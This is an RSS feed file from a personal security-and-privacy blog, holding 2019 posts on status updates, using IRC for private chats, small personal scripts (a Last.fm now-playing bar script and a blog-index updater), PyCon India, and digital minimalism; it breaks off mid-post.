pages/blog/feed.xml (view raw)
1<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
2 <channel>
3 <title>icyphox's blog</title>
4 <link>https://icyphox.sh/blog/</link>
5 <description>Security, forensics and privacy.</description>
6 <atom:link href="https://icyphox.sh/blog/feed.xml" rel="self" type="application/xml"/>
7 <image>
8 <title>icyphox logo</title>
9 <url>https://icyphox.sh/icyphox.png</url>
10 <link>https://icyphox.sh/blog/</link>
11 </image>
12 <language>en-us</language>
13 <copyright>Creative Commons BY-NC-SA 4.0</copyright>
14 <item><title>Status update</title><description><![CDATA[<p>This month is mostly just unfun stuff, lined up in a neat schedule –
15exams. I get all these cool ideas for things to do, and it’s always
16during exams. Anyway, here’s a quick update on what I’ve been up to.</p>
17
18<h3 id="blog-post-queue">Blog post queue</h3>
19
20<p>I realized that I could use this site’s
21<a href="https://github.com/icyphox/site">repo</a>’s issues to track blog post ideas.
22I’ve made a few, mostly just porting them over from my Google Keep note.</p>
23
24<p>This method of using issues is great, because readers can chime in with
25ideas for things I could possibly discuss – like in <a href="https://github.com/icyphox/site/issues/10">this
26issue</a>.</p>
27
28<h3 id="contemplating-a-vite-rewrite">Contemplating a <code>vite</code> rewrite</h3>
29
30<p><a href="https://github.com/icyphox/vite"><code>vite</code></a>, despite what the name suggests
31– is awfully slow. Also, Python is bloat.
32Will rewriting it fix that? That’s what I plan to find out. I have
33a couple of choices of languages to use in the rewrite:</p>
34
35<ul>
36<li>C: Fast, compiled. Except I suck at it. (<code>cite</code>?)</li>
37<li>Nim: My favourite, but I’ll have to write bindings to <a href="https://github.com/kristapsdz/lowdown"><code>lowdown(1)</code></a>. (<code>nite</code>?)</li>
38<li>Shell: Another favourite, muh “minimalsm”. No downside, really.
39(<code>shite</code>?)</li>
40</ul>
41
42<p>Oh, and did I mention – I want it to be compatible with <code>vite</code>.
43I don’t want to have to redo my site structure or its templates. At the
44moment, I rely on Jinja2 for templating, so I’ll need something similar.</p>
45
46<h3 id="irc-bot">IRC bot</h3>
47
48<p>My earlier post on <a href="/blog/irc-for-dms">IRC for DMs</a> got quite a bit of
49traction, which was pretty cool. I didn’t really talk much about the bot
50itself though; I’m dedicating this section to
51<a href="https://github.com/icyphox/detotated">detotated</a>.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
52
53<p>Fairly simple Python code, using plain sockets. So far, we’ve got a few
54basic features in place:</p>
55
56<ul>
57<li><code>.np</code> command: queries the user’s last.fm to get the currently playing
58track</li>
59<li>Fetches the URL title, when a URL is sent in chat</li>
60</ul>
61
62<p>That’s it, really. I plan to add a <code>.nps</code>, or “now playing Spotify”
63command, since we share Spotify links pretty often.</p>
64
65<h3 id="other">Other</h3>
66
67<p>I’ve been reading some more manga, I’ll update the <a href="/reading">reading
68log</a> when I, well… get around to it. Haven’t had time to do
69much in the past few weeks – the time at the end of a semester tends to
70get pretty tight. Here’s what I plan to get back to during this winter break:</p>
71
72<ul>
73<li>Russian!</li>
74<li>Window manager in Nim</li>
75<li><code>vite</code> rewrite, probably</li>
76<li>The other blog posts in queue</li>
77</ul>
78
79<p>I’ve also put off doing any “security work” for a while now, perhaps
80that’ll change this December. Or whenever.</p>
81
82<p>With that ends my status update, on all things that I <em>haven’t</em> done.</p>
83
84<div class="footnotes">
85<hr />
86<ol>
87<li id="fn-1">
88<p><a href="https://knowyourmeme.com/memes/dedotated-wam">https://knowyourmeme.com/memes/dedotated-wam</a> (dead meme, yes I know) <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
89</li>
90</ol>
91</div>
92]]></description><link>https://icyphox.sh/blog/2019-11-16</link><pubDate>Sat, 16 Nov 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-11-16</guid></item><item><title>IRC for DMs</title><description><![CDATA[<p><a href="https://nerdypepper.me">Nerdy</a> and I decided to try and use IRC for our
93daily communications, as opposed to non-free alternatives like WhatsApp
94or Telegram. This is an account of how that went.</p>
95
96<h3 id="the-status-quo-of-instant-messaging-apps">The status quo of instant messaging apps</h3>
97
98<p>I’ve tried a <em>ton</em> of messaging applications – Signal, WhatsApp,
99Telegram, Wire, Jami (Ring), Matrix, Slack, Discord and more recently, DeltaChat.</p>
100
101<p><strong>Signal</strong>: It straight up sucks on Android. Not to mention the
102centralized architecture, and OWS’s refusal to federate.</p>
103
104<p><strong>WhatsApp</strong>: Facebook’s spyware that people use without a second
105thought. The sole reason I have it installed is for University’s
106class groups; I can’t wait to graduate.</p>
107
108<p><strong>Telegram</strong>: Centralized architecture and a closed-source server. It’s
109got a very nice Android client, though.</p>
110
111<p><strong>Jami</strong>: Distributed platform, free software. I am not going to comment
112on this because I don’t recall what my experience was like, but I’m not
113using it now… so if that’s indicative of anything.</p>
114
115<p><strong>Matrix (Riot)</strong>: Distributed network. Multiple client implementations.
116Overall, pretty great, but it’s slow. I’ve had messages not send / not
117received a lot of times. Matrix + Riot excels in group communication, but
118really sucks for one-to-one chats.</p>
119
120<p><strong>Slack</strong> / <strong>Discord</strong>: <em>sigh</em></p>
121
122<p><strong>DeltaChat</strong>: Pretty interesting idea – on paper. Using existing email
123infrastructure for IM sounds great, but it isn’t all that cash in
124practice. Email isn’t instant, there’s always a delay of give or take
1255 to 10 seconds, if not more. This affects the flow of conversation.
126I might write a small blog post later, revewing DeltaChat.<sup class="footnote-ref" id="fnref-deltachat"><a href="#fn-deltachat">2</a></sup></p>
127
128<h3 id="why-irc">Why IRC?</h3>
129
130<p>It’s free, in all senses of the word. A lot of others have done a great
131job of answering this question in further detail, this is by far my
132favourite:</p>
133
134<p><a href="https://drewdevault.com/2019/07/01/Absence-of-features-in-IRC.html">https://drewdevault.com/2019/07/01/Absence-of-features-in-IRC.html</a></p>
135
136<h3 id="using-ircs-private-messages">Using IRC’s private messages</h3>
137
138<p>This was the next obvious choice, but personal message buffers don’t
139persist in ZNC and it’s very annoying to have to do a <code>/query
140nerdypepper</code> (Weechat) or to search and message a user via Revolution
141IRC. The only unexplored option – using a channel.</p>
142
143<h3 id="setting-up-a-channel-for-dms">Setting up a channel for DMs</h3>
144
145<p>A fairly easy process:</p>
146
147<ul>
148<li><p>Set modes (on Rizon)<sup class="footnote-ref" id="fnref-modes"><a href="#fn-modes">1</a></sup>:</p>
149
150<pre><code>#crimson [+ilnpstz 3]
151</code></pre>
152
153<p>In essence, this limits the users to 3 (one bot), sets the channel to invite only,
154hides the channel from <code>/whois</code> and <code>/list</code>, and a few other misc.
155modes.</p></li>
156<li><p>Notifications: Also a trivial task; a quick modification to <a href="https://weechat.org/scripts/source/lnotify.py.html/">lnotify.py</a>
157to send a notification for all messages in the specified buffer
158(<code>#crimson</code>) did the trick for Weechat. Revolution IRC, on the other
159hand, has an option to setup rules for notifications – super
160convenient.</p></li>
161<li><p>A bot: Lastly, a bot for a few small tasks – fetching URL titles, responding
162to <code>.np</code> (now playing) etc. Writing an IRC bot is dead simple, and it
163took me about an hour or two to get most of the basic functionality in
164place. The source is <a href="https://github.com/icyphox/detotated">here</a>.
165It is by no means “good code”; it breaks spectacularly from time to
166time.</p></li>
167</ul>
168
169<h3 id="in-conclusion">In conclusion</h3>
170
171<p>As the subtitle suggests, using IRC has been great. It’s probably not
172for everyone though, but it fits my (and Nerdy’s) usecase perfectly.</p>
173
174<p>P.S.: <em>I’m not sure why the footnotes are reversed.</em></p>
175
176<div class="footnotes">
177<hr />
178<ol>
179<li id="fn-modes">
180<p>Channel modes on <a href="https://wiki.rizon.net/index.php?title=Channel_Modes">Rizon</a>. <a href="#fnref-modes" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
181</li>
182
183<li id="fn-deltachat">
184<p>It’s in <a href="https://github.com/icyphox/site/issues/10">queue</a>. <a href="#fnref-deltachat" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
185</li>
186</ol>
187</div>
188]]></description><link>https://icyphox.sh/blog/irc-for-dms</link><pubDate>Sun, 03 Nov 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/irc-for-dms</guid></item><item><title>The intelligence conundrum</title><description><![CDATA[<p>I watched the latest <a href="https://en.wikipedia.org/wiki/S.W.A.T._(2017_TV_series)">S.W.A.T.</a>
189episode a couple of days ago, and it highlighted some interesting issues that
190intelligence organizations face when working with law enforcement. Side note: it’s a pretty
191good show if you like police procedurals.</p>
192
193<h3 id="the-problem">The problem</h3>
194
195<p>Consider the following scenario:</p>
196
197<ul>
198<li>There’s a local drug lord who’s been recruited to provide intel, by a certain 3-letter organization.</li>
199<li>Local PD busts his operation and proceed to arrest him.</li>
200<li>3-letter org steps in, wants him released.</li>
201</ul>
202
203<p>So here’s the thing, his presence is a threat to public but at the same time,
204he can be a valuable long term asset – giving info on drug inflow, exchanges and perhaps even
205actionable intel on bigger fish who exist on top of the ladder. But he also
206seeks security. The 3-letter org must provide him with protection,
207in case he’s blown. And like in our case, they’d have to step in if he gets arrested.</p>
208
209<p>Herein lies the problem. How far should an intelligence organization go to protect an asset?
210Who matters more, the people they’ve sworn to protect, or the asset?
211Because afterall, in the bigger picture, local PD and intel orgs are on the same side.</p>
212
213<p>Thus, the question arises – how can we measure the “usefulness” of an
214asset to better quantify the tradeoff that is to be made?
215Is the intel gained worth the loss of public safety?
216This question remains largely unanswered, and is quite the
217predicament should you find yourself in it.</p>
218
219<p>This was a fairly short post, but an interesting problem to ponder
220nonetheless.</p>
221]]></description><link>https://icyphox.sh/blog/intel-conundrum</link><pubDate>Mon, 28 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/intel-conundrum</guid></item><item><title>Hacky scripts</title><description><![CDATA[<p>As a CS student, I see a lot of people around me doing courses online
222to learn to code. Don’t get me wrong – it probably works for some.
223Everyone learns differently. But that’s only going to get you so far.
224Great you know the syntax, you can solve some competitive programming
225problems, but that’s not quite enough, is it? The actual learning comes
226from <em>applying</em> it in solving <em>actual</em> problems – not made up ones.
227(<em>inb4 some seething CP bro comes at me</em>)</p>
228
229<p>Now, what’s an actual problem? Some might define it as real world
230problems that people out there face, and solving it probably requires
231building a product. This is what you see in hackathons, generally.</p>
232
233<p>If you ask me, however, I like to define it as problems that <em>you</em> yourself
234face. This could be anything. Heck, it might not even be a “problem”. It
235could just be an itch that you want to scratch. And this is where
236<strong>hacky scripts</strong> come in. Unclear? Let me illustrate with a few
237examples.</p>
238
239<h3 id="now-playing-status-in-my-bar">Now playing status in my bar</h3>
240
241<p>If you weren’t aware already – I rice my desktop. A lot. And a part of
242this cohesive experience I try to create involves a status bar up at the
243top of my screen, showing the time, date, volume and battery statuses etc.</p>
244
245<p>So here’s the “problem”. I wanted to have my currently playing song
246(Spotify), show up on my bar. How did I approach this? A few ideas
247popped up in my head:</p>
248
249<ul>
250<li>Send <code>playerctl</code>’s STDOUT into my bar</li>
251<li>Write a Python script to query Spotify’s API</li>
252<li>Write a Python/shell script to query Last.fm’s API</li>
253</ul>
254
255<p>The first approach bombed instantly. <code>playerctl</code> didn’t recognize my
256Spotify client and whined about some <code>dbus</code> issues to top it off.
257I spent a while in that rabbit hole but eventually gave up.</p>
258
259<p>My next avenue was the Spotify Web API. One look at the <a href="https://developer.spotify.com/documentation/web-api/">docs</a> and
260I realize that I’ll have to make <em>more</em> than one request to fetch the
261artist and track details. Nope, I need this to work fast.</p>
262
263<p>Last resort – Last.fm’s API. Spolier alert, this worked. Also, arguably
264the best choice, since it shows the track status regardless of where
265the music is being played. Here’s the script in its entirety:</p>
266
267<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env bash</span>
268<span class="c1"># now playing</span>
269<span class="c1"># requires the last.fm API key</span>
270
271<span class="nb">source</span> ~/.lastfm <span class="c1"># `export API_KEY="<key>"`</span>
272<span class="nv">fg</span><span class="o">=</span><span class="s2">"</span><span class="k">$(</span>xres color15<span class="k">)</span><span class="s2">"</span>
273<span class="nv">light</span><span class="o">=</span><span class="s2">"</span><span class="k">$(</span>xres color8<span class="k">)</span><span class="s2">"</span>
274
275<span class="nv">USER</span><span class="o">=</span><span class="s2">"icyphox"</span>
276<span class="nv">URL</span><span class="o">=</span><span class="s2">"http://ws.audioscrobbler.com/2.0/?method=user.getrecenttracks"</span>
277<span class="nv">URL</span><span class="o">+=</span><span class="s2">"&user=</span><span class="nv">$USER</span><span class="s2">&api_key=</span><span class="nv">$API_KEY</span><span class="s2">&format=json&limit=1&nowplaying=true"</span>
278<span class="nv">NOTPLAYING</span><span class="o">=</span><span class="s2">" "</span> <span class="c1"># I like to have it show nothing</span>
279<span class="nv">RES</span><span class="o">=</span><span class="k">$(</span>curl -s <span class="nv">$URL</span><span class="k">)</span>
280<span class="nv">NOWPLAYING</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">'.recenttracks.track[0]."@attr".nowplaying'</span> <span class="o"><<<</span> <span class="s2">"</span><span class="nv">$RES</span><span class="s2">"</span> <span class="p">|</span> tr -d <span class="s1">'"'</span><span class="k">)</span>
281
282
283<span class="k">if</span> <span class="o">[[</span> <span class="s2">"</span><span class="nv">$NOWPLAYING</span><span class="s2">"</span> <span class="o">=</span> <span class="s2">"true"</span> <span class="o">]]</span>
284<span class="k">then</span>
285 <span class="nv">TRACK</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">'.recenttracks.track[0].name'</span> <span class="o"><<<</span> <span class="s2">"</span><span class="nv">$RES</span><span class="s2">"</span> <span class="p">|</span> tr -d <span class="s1">'"'</span><span class="k">)</span>
286 <span class="nv">ARTIST</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">'.recenttracks.track[0].artist."#text"'</span> <span class="o"><<<</span> <span class="s2">"</span><span class="nv">$RES</span><span class="s2">"</span> <span class="p">|</span> tr -d <span class="s1">'"'</span><span class="k">)</span>
287 <span class="nb">echo</span> -ne <span class="s2">"%{F</span><span class="nv">$light</span><span class="s2">}</span><span class="nv">$TRACK</span><span class="s2"> %{F</span><span class="nv">$fg</span><span class="s2">}by </span><span class="nv">$ARTIST</span><span class="s2">"</span>
288<span class="k">else</span>
289 <span class="nb">echo</span> -ne <span class="s2">"</span><span class="nv">$NOTPLAYING</span><span class="s2">"</span>
290<span class="k">fi</span>
291</code></pre></div>
292
293<p>The <code>source</code> command is used to fetch the API key which I store at
294<code>~/.lastfm</code>. The <code>fg</code> and <code>light</code> variables can be ignored, they’re only
295for coloring output on my bar. The rest is fairly trivial and just
296involves JSON parsing with <a href="https://stedolan.github.io/jq/"><code>jq</code></a>.
297That’s it! It’s so small, but I learnt a ton. For those curious, here’s
298what it looks like running:</p>
299
300<p><img src="/static/img/now_playing.png" alt="now playing status polybar" /></p>
301
302<h3 id="update-latest-post-on-the-index-page">Update latest post on the index page</h3>
303
304<p>This pertains to this very blog that you’re reading. I wanted a quick
305way to update the “latest post” section in the home page and the
306<a href="/blog">blog</a> listing, with a link to the latest post. This would require
307editing the Markdown <a href="https://github.com/icyphox/site/tree/master/pages">source</a>
308of both pages.</p>
309
310<p>This was a very
311interesting challenge to me, primarily because it requires in-place
312editing of the file, not just appending. Sure, I could’ve come up with
313some <code>sed</code> one-liner, but that didn’t seem very fun. Also I hate
314regexes. Did a lot of research (read: Googling) on in-place editing of
315files in Python, sorting lists of files by modification time etc. and
316this is what I ended up on, ultimately:</p>
317
318<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env python3</span>
319
320<span class="kn">from</span> <span class="nn">markdown2</span> <span class="kn">import</span> <span class="n">markdown_path</span>
321<span class="kn">import</span> <span class="nn">os</span>
322<span class="kn">import</span> <span class="nn">fileinput</span>
323<span class="kn">import</span> <span class="nn">sys</span>
324
325<span class="c1"># change our cwd</span>
326<span class="n">os</span><span class="o">.</span><span class="n">chdir</span><span class="p">(</span><span class="s2">"bin"</span><span class="p">)</span>
327
328<span class="n">blog</span> <span class="o">=</span> <span class="s2">"../pages/blog/"</span>
329
330<span class="c1"># get the most recently created file</span>
331<span class="k">def</span> <span class="nf">getrecent</span><span class="p">(</span><span class="n">path</span><span class="p">):</span>
332 <span class="n">files</span> <span class="o">=</span> <span class="p">[</span><span class="n">path</span> <span class="o">+</span> <span class="n">f</span> <span class="k">for</span> <span class="n">f</span> <span class="ow">in</span> <span class="n">os</span><span class="o">.</span><span class="n">listdir</span><span class="p">(</span><span class="n">blog</span><span class="p">)</span> <span class="k">if</span> <span class="n">f</span> <span class="ow">not</span> <span class="ow">in</span> <span class="p">[</span><span class="s2">"_index.md"</span><span class="p">,</span> <span class="s2">"feed.xml"</span><span class="p">]]</span>
333 <span class="n">files</span><span class="o">.</span><span class="n">sort</span><span class="p">(</span><span class="n">key</span><span class="o">=</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">getmtime</span><span class="p">,</span> <span class="n">reverse</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
334 <span class="k">return</span> <span class="n">files</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
335
336<span class="c1"># adding an entry to the markdown table</span>
337<span class="k">def</span> <span class="nf">update_index</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
338 <span class="n">path</span> <span class="o">=</span> <span class="s2">"../pages/_index.md"</span>
339 <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s2">"r"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
340 <span class="n">md</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">readlines</span><span class="p">()</span>
341 <span class="n">ruler</span> <span class="o">=</span> <span class="n">md</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="s2">"| --- | --: |</span><span class="se">\n</span><span class="s2">"</span><span class="p">)</span>
342 <span class="n">md</span><span class="p">[</span><span class="n">ruler</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">s</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span>
343
344 <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s2">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
345 <span class="n">f</span><span class="o">.</span><span class="n">writelines</span><span class="p">(</span><span class="n">md</span><span class="p">)</span>
346
347<span class="c1"># editing the md source in-place</span>
348<span class="k">def</span> <span class="nf">update_blog</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
349 <span class="n">path</span> <span class="o">=</span> <span class="s2">"../pages/blog/_index.md"</span>
350 <span class="n">s</span> <span class="o">=</span> <span class="n">s</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span>
351 <span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="n">fileinput</span><span class="o">.</span><span class="n">FileInput</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">inplace</span><span class="o">=</span><span class="mi">1</span><span class="p">):</span>
352 <span class="k">if</span> <span class="s2">"--:"</span> <span class="ow">in</span> <span class="n">l</span><span class="p">:</span>
353 <span class="n">l</span> <span class="o">=</span> <span class="n">l</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">l</span> <span class="o">+</span> <span class="n">s</span><span class="p">)</span>
354 <span class="k">print</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s2">""</span><span class="p">),</span>
355
356
357<span class="c1"># fetch title and date</span>
358<span class="n">meta</span> <span class="o">=</span> <span class="n">markdown_path</span><span class="p">(</span><span class="n">getrecent</span><span class="p">(</span><span class="n">blog</span><span class="p">),</span> <span class="n">extras</span><span class="o">=</span><span class="p">[</span><span class="s2">"metadata"</span><span class="p">])</span><span class="o">.</span><span class="n">metadata</span>
359<span class="n">fname</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">basename</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">splitext</span><span class="p">(</span><span class="n">getrecent</span><span class="p">(</span><span class="n">blog</span><span class="p">))[</span><span class="mi">0</span><span class="p">])</span>
360<span class="n">url</span> <span class="o">=</span> <span class="s2">"/blog/"</span> <span class="o">+</span> <span class="n">fname</span>
361<span class="n">line</span> <span class="o">=</span> <span class="n">f</span><span class="s2">"| [{meta['title']}]({url}) | `{meta['date']}` |"</span>
362
363<span class="n">update_index</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
364<span class="n">update_blog</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
365</code></pre></div>
366
367<p>I’m going to skip explaining this one out, but in essence, it’s <strong>one
368massive hack</strong>. And in the end, that’s my point exactly. It’s very
369hacky, but the sheer amount I learnt by writing this ~50
370line script can’t be taught anywhere.</p>
371
372<p>This was partially how
373<a href="https://github.com/icyphox/vite">vite</a> was born. It was originally
374intended to be a script to build my site, but grew into a full-blown
375Python package. I could’ve just
376used an off-the-shelf static site generator
377given that there are <a href="https://staticgen.com">so many</a> of them, but
378I chose to write one myself.</p>
379
380<p>And that just about sums up what I wanted to say. The best and most fun
381way to learn to code – write hacky scripts. You heard it here.</p>
382]]></description><link>https://icyphox.sh/blog/hacky-scripts</link><pubDate>Thu, 24 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/hacky-scripts</guid></item><item><title>Status update</title><description><![CDATA[<p>I’ve decided to drop the “Weekly” part of the status update posts, since
383they were never weekly and—let’s be honest—they aren’t going to be.
384These posts are, henceforth, just “Status updates”. The date range can
385be inferred from the post date.</p>
386
387<p>That said, here’s what I’ve been up to!</p>
388
389<h3 id="void-linux">Void Linux</h3>
390
391<p>Yes, I decided to ditch Alpine in favor of Void. Alpine was great,
392really. The very comfy <code>apk</code>, ultra mnml system… but having to
393maintain a chroot for my glibc needs was getting way too painful. And
394the package updates are so slow! Heck, they’re still on kernel 4.xx on
395their supposed “bleeding” <code>edge</code> repo.</p>
396
397<p>So yes, Void Linux it is. Still a very clean system. I’m loving it.
398I also undervolted my system using <a href="https://github.com/georgewhewell/undervolt"><code>undervolt</code></a>
399(-95 mV). Can’t say for sure if there’s a noticeable difference in
400battery life though. I’ll see if I can run some tests.</p>
401
402<p>This <em>should</em> be the end of my distro hopping. Hopefully.</p>
403
404<h3 id="pycon">PyCon</h3>
405
406<p>Yeah yeah, enough already. Read <a href="/blog/pycon-wrap-up">my previous post</a>.</p>
407
408<h3 id="this-website">This website</h3>
409
410<p>I’ve moved out of GitHub Pages over to Netlify. This isn’t my first time
411using Netlify, though. I used to host my old blog which ran Hugo, there.
412I was tired of doing this terrible hack to maintain a single repo for
413both my source (<code>master</code>) and deploy (<code>gh-pages</code>). In essence, here’s
414what I did:</p>
415
416<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env bash</span>
417
418git push origin master
419<span class="c1"># push contents of `build/` to the `gh-pages` branch</span>
420git subtree push --prefix build origin gh-pages
421</code></pre></div>
422
423<p>I can now simply push to <code>master</code>, and Netlify generates a build for me
424by installing <a href="https://github.com/icyphox/vite">vite</a>, and running <code>vite
425build</code>. Very pleasant.</p>
426
427<h3 id="mnmlwms-status"><code>mnmlwm</code>’s status</h3>
428
429<p><a href="https://github.com/minimalwm/minimal">mnmlwm</a>, for those unaware, is my pet project which aims to be a simple
430window manager written in Nim. I’d taken a break from it for a while
431because Xlib is such a pain to work with (or I’m just dense). Anyway,
432I’m planning on getting back to it, with some fresh inspiration from
433Dylan Araps’ <a href="https://github.com/dylanaraps/sowm">sowm</a>.</p>
434
435<h3 id="other">Other</h3>
436
437<p>I’ve been reading a lot of manga lately. Finished <em>Kekkon Yubiwa
438Monogatari</em> (till the latest chapter) and <em>Another</em>, and I’ve just
439started <em>Kakegurui</em>. I’ll reserve my opinions for when I update the
440<a href="/reading">reading log</a>.</p>
441
442<p>That’s about it, and I’ll see you – definitely not next week.</p>
443]]></description><link>https://icyphox.sh/blog/2019-10-17</link><pubDate>Wed, 16 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-10-17</guid></item><item><title>PyCon India 2019 wrap-up</title><description><![CDATA[<p>I’m writing this article as I sit in class, back on the grind. Last
444weekend—Oct 12th and 13th—was PyCon India 2019, in Chennai, India.
445It was my first PyCon, <em>and</em> my first ever talk at a major conference!
446This is an account of the all the cool stuff I saw, people I met and the
447talks I enjoyed.
448Forgive the lack of pictures – I prefer living the moment through my
449eyes. </p>
450
451<h3 id="talks">Talks</h3>
452
453<p>So much ML! Not that it’s a bad thing, but definitely interesting to
454note. From what I counted, there were about 17 talks tagged under “Data
455Science, Machine Learning and AI”. I’d have liked to see more talks
456discussing security and privacy, but hey, the organizers can only pick
457from what’s submitted. ;)</p>
458
459<p>With that point out of the way, here are some of the talks I really liked:</p>
460
461<ul>
462<li><strong>Python Packaging - where we are and where we’re headed</strong> by <a href="https://twitter.com/pradyunsg">Pradyun</a></li>
463<li><strong>Micropython: Building a Physical Inventory Search Engine</strong> by <a href="https://twitter.com/stonecharioteer">Vinay</a></li>
464<li><strong>Ragabot - Music Encoded</strong> by <a href="https://twitter.com/vikipedia">Vikrant</a></li>
465<li><strong>Let’s Hunt a Memory Leak</strong> by <a href="https://twitter.com/sankeyplus">Sanket</a></li>
466<li>oh and of course, <a href="https://twitter.com/dabeaz">David Beazley</a>’s closing
467keynote</li>
468</ul>
469
470<h3 id="my-talk">My talk (!!!)</h3>
471
472<p>My good buddy <a href="https://twitter.com/_vologue">Raghav</a> and I spoke about
473our smart lock security research. Agreed, it might have been less
474“hardware” and more of a bug on the server-side, but that’s the thing
475about IoT right? It’s so multi-faceted, and is an amalgamation of so
476many different hardware and software stacks. But, anyway…</p>
477
478<p>I was reassured by folks after the talk that the silence during Q/A was
479the “good” kind of silence. Was it really? I’ll never know.</p>
480
481<h3 id="some-nice-people-i-met">Some nice people I met</h3>
482
483<ul>
484<li><a href="https://twitter.com/abhirathb">Abhirath</a> – A 200 IQ lad. Talked to
485me about everything from computational biology to the physical
486implementation of quantum computers.</li>
487<li><a href="https://twitter.com/meain_">Abin</a> – He recognized me from my
488<a href="https://reddit.com/r/unixporn">r/unixporn</a> posts, which was pretty
489awesome.</li>
490<li><a href="https://twitter.com/h6165">Abhishek</a></li>
491<li>Pradyun and Vikrant (linked earlier)</li>
492</ul>
493
494<p>And a lot of other people doing really great stuff, whose names I’m
495forgetting.</p>
496
497<h3 id="pictures">Pictures!</h3>
498
499<p>It’s not much, and
500I can’t be bothered to format them like a collage or whatever, so I’ll
501just dump them here – as is.</p>
502
503<p><img src="/static/img/silly_badge.jpg" alt="nice badge" />
504<img src="/static/img/abhishek_anmol.jpg" alt="awkward smile!" />
505<img src="/static/img/me_talking.jpg" alt="me talking" />
506<img src="/static/img/s443_pycon.jpg" alt="s443 @ pycon" /></p>
507
508<h3 id="cest-tout">C’est tout</h3>
509
510<p>Overall, a great time and a weekend well spent. It was very different
511from your typical security conference – a lot more <em>chill</em>, if you
512will. The organizers did a fantastic job and the entire event was put
513together really well.
514I don’t have much else to say, but I know for sure that I’ll be
515there next time.</p>
516
517<p>That was PyCon India, 2019.</p>
518]]></description><link>https://icyphox.sh/blog/pycon-wrap-up</link><pubDate>Tue, 15 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/pycon-wrap-up</guid></item><item><title>Thoughts on digital minimalism</title><description><![CDATA[<p>Ah yes, yet another article on the internet on this beaten to death
519subject. But this is inherently different, since it’s <em>my</em> opinion on
520the matter, and <em>my</em> technique(s) to achieve “digital minimalism”.</p>
521
522<p>According to me, minimalism can be achieved on two primary fronts –
523the phone & the computer. Let’s start with the phone. The daily carry.
524The device that’s on our person from when we get out of bed, till we get
525back in bed.</p>
526
527<h3 id="the-phone">The phone</h3>
528
529<p>I’ve read about a lot of methods people employ to curb their phone
530usage. Some have tried grouping “distracting” apps into a separate
531folder, and this supposedly helps reduce their usage. Now, I fail to see
532how this would work, but YMMV. Another technique I see often is using
533a time governance app—like OnePlus’ Zen Mode—to enforce how much
534time you spend using specific apps, or the phone itself. I’ve tried this
535for myself, but I constantly found myself counting down the minutes
536after which the phone would become usable again. Not helpful.</p>
537
538<p>My solution to this is a lot more brutal. I straight up uninstalled the
539apps that I found myself using too often. There’s a simple principle
540behind it – if the app has a desktop alternative, like Twitter,
541Reddit, etc. use that instead. Here’s a list of apps that got nuked from
542my phone:</p>
543
544<ul>
545<li>Twitter</li>
546<li>Instagram (an exception, no desktop client)</li>
547<li>Relay for Reddit</li>
548<li>YouTube (disabled, ships with stock OOS)</li>
549</ul>
550
551<p>The only non-productive app that I’ve let remain is Clover,
552a 4chan client. I didn’t find myself using it as much earlier, but we’ll see how that
553holds up. I’ve also allowed my personal messaging apps to remain, since
554removing those would be inconveniencing others.</p>
555
556<p>I must admit, I often find myself reaching for my phone out of habit
557just to check Twitter, only to find that its gone. I also subconsciously
558tap the place where its icon used to exist (now replaced with my mail
559client) on my launcher. The only “fun” thing left on my phone to do is
560read or listen to music. Which is okay, in my opinion.</p>
561
562<h3 id="the-computer">The computer</h3>
563
564<p>I didn’t do anything too nutty here, and most of the minimalism is
565mostly aesthetic. I like UIs that get out of the way. </p>
566
567<p>My setup right now is just a simple bar at the top showing the time,
568date, current volume and battery %, along with my workspace indicators.
569No fancy colors, no flashy buttons and sliders. And that’s it. I don’t
570try to force myself to not use stuff – after all, I’ve reduced it
571elsewhere. :)</p>
572
573<p>Now the question arises: Is this just a phase, or will I stick to it?
574What’s going to stop me from heading over to the Play Store and
575installing those apps back? Well, I never said this was going to be
